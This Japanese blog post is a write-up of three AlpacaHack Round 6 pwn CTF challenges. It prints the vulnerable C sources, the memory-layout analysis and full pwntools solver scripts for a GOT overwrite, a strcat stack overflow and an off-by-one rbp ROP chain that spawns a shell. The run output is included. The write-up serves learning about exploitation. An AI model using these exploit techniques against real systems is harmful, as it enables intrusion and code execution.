AlpacaHack Round 6 (Pwn) write-up - プログラム系統備忘録ブログ

プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

AlpacaHack Round 6 (Pwn) write-up

AlpacaHack Round 6 (Pwn)へ参加しました。そのwrite-up記事です。

コンテスト概要

2024/11/03(日) 12:00 +09:00 - 11/03(日) 18:00 +09:00の6時間開催でした。他ルールはコンテストページから引用します:

AlpacaHack Round 6 (Pwn) へようこそ!
AlpacaHack は個人戦の CTF を継続して開催する新しいプラットフォームです。
AlpacaHack Round 6 は AlpacaHack で行われる 6 回目の CTF で、Pwn カテゴリから 4 問が出題されます。 幅広い難易度の問題が出題されるため、初心者を含め様々なレベルの方に楽しんでいただけるようになっています。 問題作成者は ptr-yudai です!

参加方法
1. 右上の「Sign Up」ボタンから AlpacaHack のユーザー登録をしてください。
2. 登録完了後、このページの「Register」ボタンを押して CTF の参加登録をしてください。

注意事項
- AlpacaHack は個人戦のCTFプラットフォームであるため、チームでの登録は禁止しています。
- 問題は運営が想定した難易度の順に並んでいます。
- 問題の配点は解いた人数に応じて変動します。
- フラグフォーマットは Alpaca{...} です。
- 全てのアナウンスは AlpacaHack の Discord サーバー で行われます。
  - アナウンスは本サービス上でも行うことがありますが、Discord サーバーが主な連絡手段となります。
  - 問題が発生した場合、#ticket チャンネルから連絡してください。ただし、問題のヒントは提供しません。
- 競技システム自体への攻撃は行わないでください。なお、偶然発見したバグの報告は歓迎します。

これまでのRound同様に問題は運営が想定した難易度の順に並んでいますと明記されており、並び順で想定難易度が示されました。

結果

正の得点を得ている57人中、476点で19位でした:

順位と得点等(Scoreboard加工後)

チェック印: 解けた問題

また、Certificate箇所から順位の証明書も表示できます:

環境

WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19045.5011]

c:\>wsl -l -v
  NAME                   STATE           VERSION
* Ubuntu-24.04           Running         2
  docker-desktop-data    Running         2
  kali-linux             Stopped         2
  docker-desktop         Running         2
  Ubuntu-22.04           Running         2

c:\>

他ソフト

  • IDA Free Version 9.0.240925 Windows x64 (64-bit address size)(Free版IDAでもversion 7頃からx64バイナリを、version 8.2からはx86バイナリもクラウドベースの逆コンパイルができます)

WSL2(Ubuntu 24.04)

$ cat /proc/version
Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.1 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.1 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo
$ python3 --version
Python 3.12.3
$ python3 -m pip show pip | grep Version:
Version: 24.0
$ python3 -m pip show pwntools | grep Version:
Version: 4.13.0
$ gdb --version
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ gdb --batch --eval-command 'version' | grep 'Pwndbg:'
Pwndbg:   2024.02.14 build: 2b9beef
$ pwninit --version
pwninit 3.3.1
$ ROPgadget --version
Version:        ROPgadget v7.3
Author:         Jonathan Salwan
Author page:    https://twitter.com/JonathanSalwan
Project page:   http://shell-storm.org/project/ROPgadget/
$ docker --version
Docker version 27.2.0, build 3ab4256
$

解けた問題

[Pwn] inbound (57 solves, 128 points)

inside-of-bounds

配布ファイルとして、問題本体のinboundと、元ソースのmain.cなどがありました:

$ file *
Dockerfile:  ASCII text
compose.yml: ASCII text
inbound:     ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=9e9920e6eb161f0ee40de853d38ffad7488f06e7, for GNU/Linux 3.2.0, not stripped
main.c:      C source, ASCII text
$ pwn checksec inbound
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/inbound/inbound'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
$

main.cは次の内容でした:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int slot[10];

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

int main() {
  int index, value;
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  printf("index: ");
  scanf("%d", &index);
  if (index >= 10) {
    puts("[-] out-of-bounds");
    exit(1);
  }

  printf("value: ");
  scanf("%d", &value);

  slot[index] = value;

  for (int i = 0; i < 10; i++)
    printf("slot[%d] = %d\n", i, slot[i]);

  exit(0);
}

次のことが分かります:

  • 21行目の if (index >= 10) 分岐でプラス方向の配列外参照は防止していますが、マイナス方向の配列外参照は検証しないまま slot[index] = value; を実行しています。
  • pwn checksec 結果が RELRO: Partial RELRO であるため、GOT Overwriteができます。

そうなると slot[index] = value 箇所でGOT Overwriteができると win 関数を実行できそうです。pwntoolsの pwn.ELF を使って検証しました:

elf.symbols["slot"] = 0000000000404060
elf.symbols["win"]  = 00000000004011d6
elf.got["printf"]   = 0000000000404010
elf.got["exit"]     = 0000000000404028

got領域は slot グローバル変数よりも若いアドレスへ存在することが分かりました。今回はexit関数のgot内容をwin関数のアドレスへ変更することで、exit(0);箇所で代わりにwin関数へ実行させるようにしました。

index: 箇所への入力は、slotint(=32-bit整数)型配列であるため、(exit@gotのアドレス - slotの先頭アドレス) / 4 で計算できます。value:箇所へはwin関数のアドレスを渡します。

最終的なソルバーです:

#!/usr/bin/env python3

import pwn

elf = pwn.ELF("inbound")
pwn.context.binary = elf
# pwn.context.log_level = "DEBUG"

print(f"{elf.symbols["slot"] = :016x}")
print(f"{elf.symbols["win"]  = :016x}")
print(f"{elf.got["printf"]   = :016x}")
print(f"{elf.got["exit"]     = :016x}")

got_exit = elf.got["exit"]
addr_win = elf.symbols["win"]
addr_slot = elf.symbols["slot"]

slot_index = (got_exit - addr_slot) // 4
print(f"{slot_index = }")


def solve(io: pwn.tube):
    io.sendlineafter(b"index: ", str(slot_index).encode())
    io.sendlineafter(b"value: ", str(addr_win).encode())
    io.stream()


# fmt: off
COMMAND = """
b *0x40130B
continue
"""
# with pwn.gdb.debug(elf.path, COMMAND) as io: solve(io)
# with pwn.remote("localhost", 9999) as io: solve(io)
# with pwn.process(elf.path) as io: solve(io)
with pwn.remote("198.51.100.1", 9999) as io: solve(io)

実行しました:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/inbound/inbound'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
elf.symbols["slot"] = 0000000000404060
elf.symbols["win"]  = 00000000004011d6
elf.got["printf"]   = 0000000000404010
elf.got["exit"]     = 0000000000404028
slot_index = -14
[+] Opening connection to 198.51.100.1 on port 9999: Done
slot[0] = 0
slot[1] = 0
slot[2] = 0
slot[3] = 0
slot[4] = 0
slot[5] = 0
slot[6] = 0
slot[7] = 0
slot[8] = 0
slot[9] = 0
Alpaca{p4rt14L_RELRO_1s_A_h4pPy_m0m3Nt}
[*] Closed connection to 198.51.100.1 port 9999

フラグを入手できました: Alpaca{p4rt14L_RELRO_1s_A_h4pPy_m0m3Nt}

[Pwn] catcpy (41 solves, 148 points)

strcat and strcpy are typical functions used in C textbooks.

配布ファイルとして、問題本体のcatcpyと、元ソースのmain.cなどがありました:

$ file *
Dockerfile:  ASCII text
catcpy:      ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=33f04f4bd45554ad7f1e9136aabe4bfceb98e814, for GNU/Linux 3.2.0, not stripped
compose.yml: ASCII text
main.c:      C source, ASCII text
$ pwn checksec catcpy
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/catcpy/catcpy'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
$

main.cは次の内容でした:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char g_buf[0x100];

/* Call this function! */
void win() {
  char *args[] = {"/bin/cat", "/flag.txt", NULL};
  execve(args[0], args, NULL);
  exit(1);
}

void get_data() {
  printf("Data: ");
  fgets(g_buf, sizeof(g_buf), stdin);
}

int main() {
  int choice;
  char buf[0x100];

  memset(buf, 0, sizeof(buf));
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  puts("1. strcpy\n" "2. strcat");
  while (1) {
    printf("> ");
    if (scanf("%d%*c", &choice) != 1) return 1;

    switch (choice) {
      case 1:
        get_data();
        strcpy(buf, g_buf);
        break;

      case 2:
        get_data();
        strcat(buf, g_buf);
        break;

      default:
        return 0;
    }
  }
}

ローカル変数bufを転送先として、strcpystrcatができます。そのためStack Buffer Overflowの脆弱性が存在します。また、pwn checksec結果がStack: No canary foundでありスタックカナリアは存在しないため、main関数の戻りアドレスを問題なく改ざんできます。

ローカル変数のスタックレイアウトと関連する注意点

IDAでmain関数でのローカル変数のレイアウトを調べると、次の内容でした(ローカル変数リネーム後):

-0000000000000110 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000110 // Frame size: 110; Saved regs: 8; Purge: 0
-0000000000000110
-0000000000000110     _BYTE buf[268];
-0000000000000004     _DWORD choise;
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

次のことが分かります:

  • Cソースコード上ではchar buf[0x100]定義ですが、スタック中ではもう12バイト多い268バイト分確保されています。
  • bufから戻りアドレス(IDAでは__return_address表記)の間にchoise変数の領域が存在します。

choise変数が間に存在することが厄介でした。ソルバーを書いている途中に悩みました:

  • Stack Buffer Overflowを行おうとして「__return_address手前までstrcpystrcatを行い、その後に戻りアドレス分だけstrcat」とするとうまくいきません。理由は、choise選択のたびに{0x02, 0x00, 0x00, 0x00}のバイト列でchoise領域が上書きされるためです。その後にstrcatをしようとすると、choise0x02の直後から追記が始まります。
  • そのため「choise領域と__return_address領域を同時に書き換えるようにstrcat」する必要があります。

もともとのmain関数の戻りアドレスを完全に0埋め

main関数はglibc中の関数から呼ばれるため、main関数の戻りアドレスはglibcのアドレスになります:

pwndbg> p $rip
$1 = (void (*)()) 0x4012e7 <main+8>
pwndbg> retaddr
0x7fffffffe1a8 —▸ 0x7ffff7dc71ca (__libc_start_call_main+122) ◂— mov edi, eax
0x7fffffffe248 —▸ 0x7ffff7dc728b (__libc_start_main+139) ◂— mov r15, qword ptr [rip + 0x1d8cf6]
0x7fffffffe2a8 —▸ 0x401195 (_start+37) ◂— hlt
pwndbg> k
#0  0x00000000004012e7 in main ()
#1  0x00007ffff7dc71ca in __libc_start_call_main (main=main@entry=0x4012df <main>, argc=argc@entry=1, argv=argv@entry=0x7fffffffe2c8) at ../sysdeps/nptl/libc_start_call_main.h:58
#2  0x00007ffff7dc728b in __libc_start_main_impl (main=0x4012df <main>, argc=1, argv=0x7fffffffe2c8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe2b8)
    at ../csu/libc-start.c:360
#3  0x0000000000401195 in _start ()
pwndbg>

上述の例だと、0x7ffff7dc71caという47bit分のアドレスです。

一方でwin関数のアドレスは0x401256と23-bit分のみです。スタック中バッファへのコピーで使っているstrcat関数はNUL文字位置で書き込みを停止するため、単純にstrcatmain関数の戻りアドレスをwin関数へ改ざんしようとしても戻りアドレスの上位分が残ります。例えば0x7fff00401256などになってしまいます。

その問題を解決するため、main関数の戻りアドレスをMSBから1バイトずつ、0x00であるNUL文字で上書きします。その後にwin関数のアドレスへ書き換えれば、win関数へ制御を移すことができます。

ソルバーと実行結果

最終的なソルバーです:

#!/usr/bin/env python3

import pwn

elf = pwn.ELF("catcpy")
pwn.context.binary = elf
# pwn.context.log_level = "DEBUG"

addr_win = elf.symbols["win"]
print(f"{addr_win = :08x}")


def solve(io: pwn.tube):
    def write(target_offset: int, target_data: bytes):
        written_bytes = 0
        # 戻りアドレスの間にDWORDのカウンターがあってそこでNUL終端されるので、戻りアドレス改ざんはカウンター含む領域と同時に行う必要がある
        # 250バイトずつなら2回分割でいける
        UNIT = 250
        io.sendlineafter(b"> ", b"1")
        io.sendlineafter(b"Data: ", b"A" * UNIT + b"\x00")  # 改行文字を無視させる
        io.sendlineafter(b"> ", b"2")
        io.sendlineafter(
            b"Data: ", b"A" * (target_offset - UNIT) + target_data + b"\x00"
        )  # to ignore newline

    # mainの戻りアドレスがlibcへのreturnで8バイト分あるので、一旦0埋めする
    offset_return_address = 268 + 4 + 8
    for i in range(7, -1, -1):
        write(offset_return_address + i, b"B")

    # 改めて戻りアドレスをwinへ改ざん
    write(offset_return_address, pwn.pack(addr_win).strip(b"\x00"))

    io.sendlineafter(b"> ", b"3")  # to break loop
    io.stream()


# fmt: off
COMMAND = """
b *0x4013F3
# ↓after strcat
# b *0x4013DF
continue
"""
# with pwn.gdb.debug(elf.path, COMMAND) as io: solve(io)
# with pwn.remote("localhost", 9999) as io: solve(io)
# with pwn.process(elf.path) as io: solve(io)
with pwn.remote("198.51.100.1", 9999) as io: solve(io)

実行しました:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/catcpy/catcpy'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
addr_win = 00401256
[+] Opening connection to 198.51.100.1 on port 9999: Done
Alpaca{4_b4sic_func_but_n0t_4_b4s1c_3xp101t}
[*] Closed connection to 198.51.100.1 port 9999
$

フラグを入手できました: Alpaca{4_b4sic_func_but_n0t_4_b4s1c_3xp101t}

[Pwn] wall (21 solves, 200 points)

You've got a message.

配布ファイルとして、問題本体のwallと、元ソースのmain.cなどがありました:

$ file *
Dockerfile:  ASCII text
compose.yml: ASCII text
libc.so.6:   ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=490fef8403240c91833978d494d39e537409b92e, for GNU/Linux 3.2.0, stripped
main.c:      C source, ASCII text
wall:        ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=aa694c825dafc652f2735f6c1327fe29383881f4, for GNU/Linux 3.2.0, not stripped
$ pwn checksec wall
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/wall/wall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
$

main.cは次の内容でした:

#include <stdio.h>
#include <stdlib.h>

char message[4096];

void get_name(void) {
  char name[128];
  printf("What is your name? ");
  scanf("%128[^\n]%*c", name);
  printf("Message from %s: \"%s\"\n", name, message);
}

int main(int argc, char **argv) {
  setbuf(stdin, NULL);
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);

  printf("Message: ");
  scanf("%4096[^\n]%*c", message);
  get_name();
  return 0;
}

scanf("%128[^\n]%*c", name);で使用しているmaximum field widthの挙動は「\n以外の文字を最大128文字読み込み、その後にNULL文字を書き込み」です。そのためname変数から1バイト超過した位置へ0x00が書き込まれる、off-by-oneエラーが存在します。

なお、message側でも同様にoff-by-oneエラーが存在します。ただmessage側の悪用方法が思いつかなかったため、以降はname側のみoff-by-oneエラーのみに言及します。

pwninitを使ってローカルデバッグ用バイナリを生成

本問題の解法は、後で紹介するように、使用するglibcのバージョンへ依存します。もしもサーバー側で使用されるバージョンとローカルデバッグに使用するバージョンが異なっていると、非常に大変です。場合によってはローカルでは解けない可能性もあります。そのためpwninitを使って、サーバー側と同一のバージョンのglibcを使用するwall_patchedバイナリを生成しました。

本問題は配布ファイルにlibs.so.6が含まれています。そのため、引数なしでpwninitを実行するだけで、うまくやってくれます:

$ pwninit
bin: ./wall
libc: ./libc.so.6

fetching linker
https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.35-0ubuntu3.8_amd64.deb
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.8_amd64.deb
copying ./wall to ./wall_patched
running patchelf on ./wall_patched
writing solve.py stub
$ ldd wall_patched
        linux-vdso.so.1 (0x00007ffcb77fe000)
        libc.so.6 => ./libc.so.6 (0x00007f5921229000)
        ./ld-2.35.so => /lib64/ld-linux-x86-64.so.2 (0x00007f5921454000)
$

生成したwall_patchedが、pwntoolsのpwn.gdb.debugを使ったデバッグ実行で大活躍しました。

off-by-oneエラーによるrbpレジスタ最下位バイトの書き換えとその影響

IDAでget_name関数のローカル変数のレイアウトを調べると、次の内容でした:

-0000000000000080 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000080 // Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080
-0000000000000080     _BYTE name[128];
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

name変数直後に、保存されたrbpレジスタの値が存在します。off-by-oneエラーによって、get_name関数終了後のrbpレジスタの最下位バイトが0x00へ変化します。

ここで「以前、rbpの一部書き換えを利用する問題があったはず」と調べるとWaniCTF 2021のTarinai?問題でした。rbpレジスタ書き換えやleave命令による影響が分かりやすく説明されています。今回の問題の場合は、get_name関数でrbpレジスタの最下位バイトが0x00へ書き換えられて、呼び出し元のmain関数のleave; ret時の戻りアドレスへ影響します。

rbpレジスタ最下位バイトが0x00になると、main関数の戻りアドレスへどのように影響するのか調べました:

  1. GDBでwall_patchedバイナリをデバッグ実行
  2. 0x4011db(=main関数のmov rbp, rsp箇所)と、0x401262(=main関数のret箇所)へブレークポイントを設定して実行開始
  3. 0x4011dbでブレークしたら、その時点でのrspレジスタ値の下位1バイトをメモして、実行続行
  4. get_name関数で、128バイトの文字列b"BBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIIIIJJJJJJJJKKKKKKKKLLLLLLLLMMMMMMMMNNNNNNNNOOOOOOOOPPPPPPPPQQQQQQQQ"を入力
  5. 0x401262でブレークしたら、main関数の戻り先を確認

ここで、x86 psABIs / x86-64 psABI · GitLabからダウンロードできるSystem V Application Binary Interface資料の3.2.2 The Stack FrameIn other words, the stack needs to be 16 (32 or 64) byte aligned immediately before the call instruction is executed.とあるため、0x4011db時点でのrspレジスタ最下位1バイトの候補は16バイト単位の16通りです。確認結果は次のようになりました:

0x4011DB時点でのrspレジスタ下位1バイト main関数の戻り先アドレス
0x00 (変化なし、正常終了)
0x10 0x0100401090、SIGSEGV
0x20 0x40125c <main+134> mov eax, 0、無限return(rbpの値も変わらず?)
0x30 &name[120]、ROP可能
0x40 &name[104]、ROP可能
0x50 &name[88]、ROP可能
0x60 &name[72]、ROP可能
0x70 &name[56]、ROP可能
0x80 &name[40]、ROP可能
0x90 &name[24]、ROP可能
0xa0 &name[8]、ROP可能
0xb0 0x4011d3 <get_name+93> nop、直後のleaveでSIGSEGV
0xc0 0x7f5bf79cb887 <write+23> cmp rax, -0x1000、その後SIGSEGV
0xd0 0x404080(=&message[0])、ただし.bssセクションは実行可能権限がないためSIGSEGV
0xe0 0x5f48bc8d32d3300、SIGSEGV
0xf0 0x7fff118b19e0 or byte ptr [rbx], bl、SIGSEGV

今回は最終的に、0x4011DB時点でのrspレジスタ下位1バイトが0x70である場合に成功するソルバーを書きました。すなわちソルバーの成功率は 1/16です。もしかしたらうまくやれば、もっと成功率を上げられるかもしれません。

1度目のペイロードでのglibcのイメージベース取得とreturn to main

pwninit実行時の出力でちらっと見えていますが、本問題で使われているglibcはバージョン2.35です。__libc_csu_init等がglibc 2.34で削除済みであるため、問題バイナリ単独で使えるROP gadgetは少ないです(詳細: glibc code reading ~なぜ俺達のglibcは後方互換を捨てたのか~ - HackMD)。そのためシェルを取得するためにglibcのイメージベースを取得して、glibc中の豊富なROP gadgetを活用したいところです。

main関数からreturnするときのレジスタ内容を確認すると、rdiレジスタの内容が0x7fcde268e050 (funlockfile)でした。そのため、ROPでprintf@pltを実行させればfunlockfile関数のアドレスが取得でき、そこからglibcのイメージベースを計算できます。printf@pltの後はreturn to mainすることで、改めてROPできるようにします。

ROP gadgetの検索にはROPgadgetを使いました。

実際にペイロードを組んでいるときは、2度目でもROPできるようにRSPを調整しまくっていました。

2度目のペイロードでのシェル取得

1度目のペイロードで、glibcのイメージベースを取得しつつRSPを調整できていたら、system("bin/sh")を実行することでシェルを取得する、2度目のペイロードを組みます。

(2度目のペイロードを組んだ後に1度目ペイロードでのRSP調整をひたすらいじっていたので、2度目の方の記憶があまりないです……)

ソルバーと実行結果

最終的なソルバーです。前述の通り、main関数中でのrspレジスタの最下位1バイトが0x70の場合にのみ成功します:

#!/usr/bin/env python3

import pwn

elf = pwn.ELF("wall_patched")
libc = pwn.ELF("libc.so.6")

pwn.context.binary = elf
# pwn.context.log_level = "DEBUG"


def solve(io: pwn.tube):
    plt_printf = elf.plt["printf"]
    addr_main_after_push_rbp = 0x4011DB  # mainの「push rbp」の次
    # ROPgadget --binary wall > ropgadget_wall.txt
    rop_ret = 0x40101A  # 0x000000000040101a : ret

    def leak_libc_image_base() -> int:
        # めちゃくちゃ頑張ってこの辺を調整しまくったら、いつの間にか2回目も成功していた……
        payload_name = pwn.flat(
            [
                b"AAAAAAAA",
                b"AAAAAAAA",
                b"AAAAAAAA",
                b"AAAAAAAA",
                b"AAAAAAAA",
                b"AAAAAAAA",
                b"AAAAAAAA",
                [
                    rop_ret,  # SIMD命令用のRSPあわせ
                    plt_printf,
                    rop_ret,  # 2回目のROP用のRSP(=RBP)調整
                    rop_ret,  # 2回目のROP用のRSP(=RBP)調整
                    rop_ret,  # 2回目のROP用のRSP(=RBP)調整
                    rop_ret,  # 2回目のROP用のRSP(=RBP)調整
                    rop_ret,  # 2回目のROP用のRSP(=RBP)調整
                    rop_ret,  # 2回目のROP用のRSP(=RBP)調整
                    addr_main_after_push_rbp,  # 2回目のROP用のRSP(=RBP)調整
                ],
            ]
        )

        assert len(payload_name) == 128
        io.sendlineafter(b"Message: ", b"\x00")
        io.sendlineafter(
            b"What is your name? ",
            payload_name,
        )
        io.recvline_startswith(b"Message from ")  # discard

        addr_funlockfile = pwn.unpack(io.recvn(6).ljust(8, b"\x00"))
        offset_funlockfile = libc.symbols["funlockfile"]
        return addr_funlockfile - offset_funlockfile

    libc.address = leak_libc_image_base()
    print(f"{libc.address = :08x}")

    # ROPgadget --binary libc.so.6 > ropgadget_libc.txt
    rop_pop_rdi = libc.address + 0x2A3E5  # 0x000000000002a3e5 : pop rdi ; ret
    addr_bin_sh = next(libc.search(b"/bin/sh\x00"))
    addr_system = libc.symbols["system"]
    print(f"{rop_pop_rdi = : 08x}")
    print(f"{addr_bin_sh = : 08x}")
    print(f"{addr_system = : 08x}")

    payload_name = pwn.flat(
        b"DEADBEEF",
        b"DEADBEEF",
        b"DEADBEEF",
        [
            rop_pop_rdi,
            addr_bin_sh,
            rop_ret,
            addr_system,
        ]
        * 3,
        b"DEADBEEF",
    )

    assert b"\n" not in payload_name
    assert len(payload_name) == 128
    io.sendlineafter(b"Message: ", b"\x00")
    io.sendlineafter(
        b"What is your name? ",
        payload_name,
    )
    io.recvline_startswith(b"Message from ")  # discard

    io.interactive()


# fmt: off
COMMAND = """
set follow-fork-mode parent
# ↓ main冒頭、「b main」では「mov    rbp, rsp」後に止まるのでRBPを調整しづらい。
b *0x4011db
continue
# ↓rsp調整。1/16待ちはしんどい。
# libc leak成功: 0x50, 0x70
# libc leak失敗: 0x90
set $rsp = ($rsp & 0xFFFFFFFFFFFFFF00) | 0x70

# ↓mainのret
b *0x401262
# ↓call get_name
# b *0x401257
# ↓scanf
# b *0x401252
# b *0x4011ac

continue
"""
# with pwn.gdb.debug(elf.path, COMMAND) as io: solve(io)
# with pwn.remote("localhost", 9999) as io: solve(io)
# with pwn.process(elf.path) as io: solve(io)
with pwn.remote("198.51.100.1", 9999) as io: solve(io)

実行して成功した場合です:

$ ./solve.py
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/wall/wall_patched'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x3fe000)
    RUNPATH:    b'.'
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
[*] '/mnt/d/Documents/work/ctf/AlpacaHack_Round_6_Pwn/wall/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes
[+] Opening connection to 198.51.100.1 on port 9999: Done
libc.address = 7fa5fdc8f000
rop_pop_rdi =  7fa5fdcb93e5
addr_bin_sh =  7fa5fde67678
addr_system =  7fa5fdcdfd70
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag-6d5a5cb38e69f72e74235bf99e6f1e9b.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag-*
Alpaca{p1v0T1ng_t0_Bss_i5_tR1cKy_du3_7o_st4Ck_s1Z3_Lim17}
$

フラグを入手できました: Alpaca{p1v0T1ng_t0_Bss_i5_tR1cKy_du3_7o_st4Ck_s1Z3_Lim17}

実行失敗時は、通信先プロセスが異常終了してEOFErrorになったり、無限ループして何も応答が帰らなかったり、mainへ再帰して次の応答が得られたりします:

libc.address = 6761736d44fd
rop_pop_rdi =  6761736fe8e2
addr_bin_sh =  6761738acb75
addr_system =  67617372526d

なお、フラグ内容を見るに、想定解法は.bssセクションへのstack pivotingのようです。実はソルバーを書いている途中に、message変数領域へのstack pivotも試していました。しかしprintf関数呼び出し時にスタックを4096バイト以上使うらしく、message領域よりも若い.rodataセグメントへ書き込もうとしてSIGSEGVが出たので諦めました。stack pivotで解く方法も気になります!

感想

  • AlpacaHackで初めての、4問中3問正解です!達成感があります!
  • pwn分野での、1/16の確率を引く必要があるソルバーを初めて書きました。ローカルデバッグ時はgdbコマンドで設定できますが、リモート相手に何度も実行しているときの「本当にうまくいくんだろうか」という不安は独特のものです!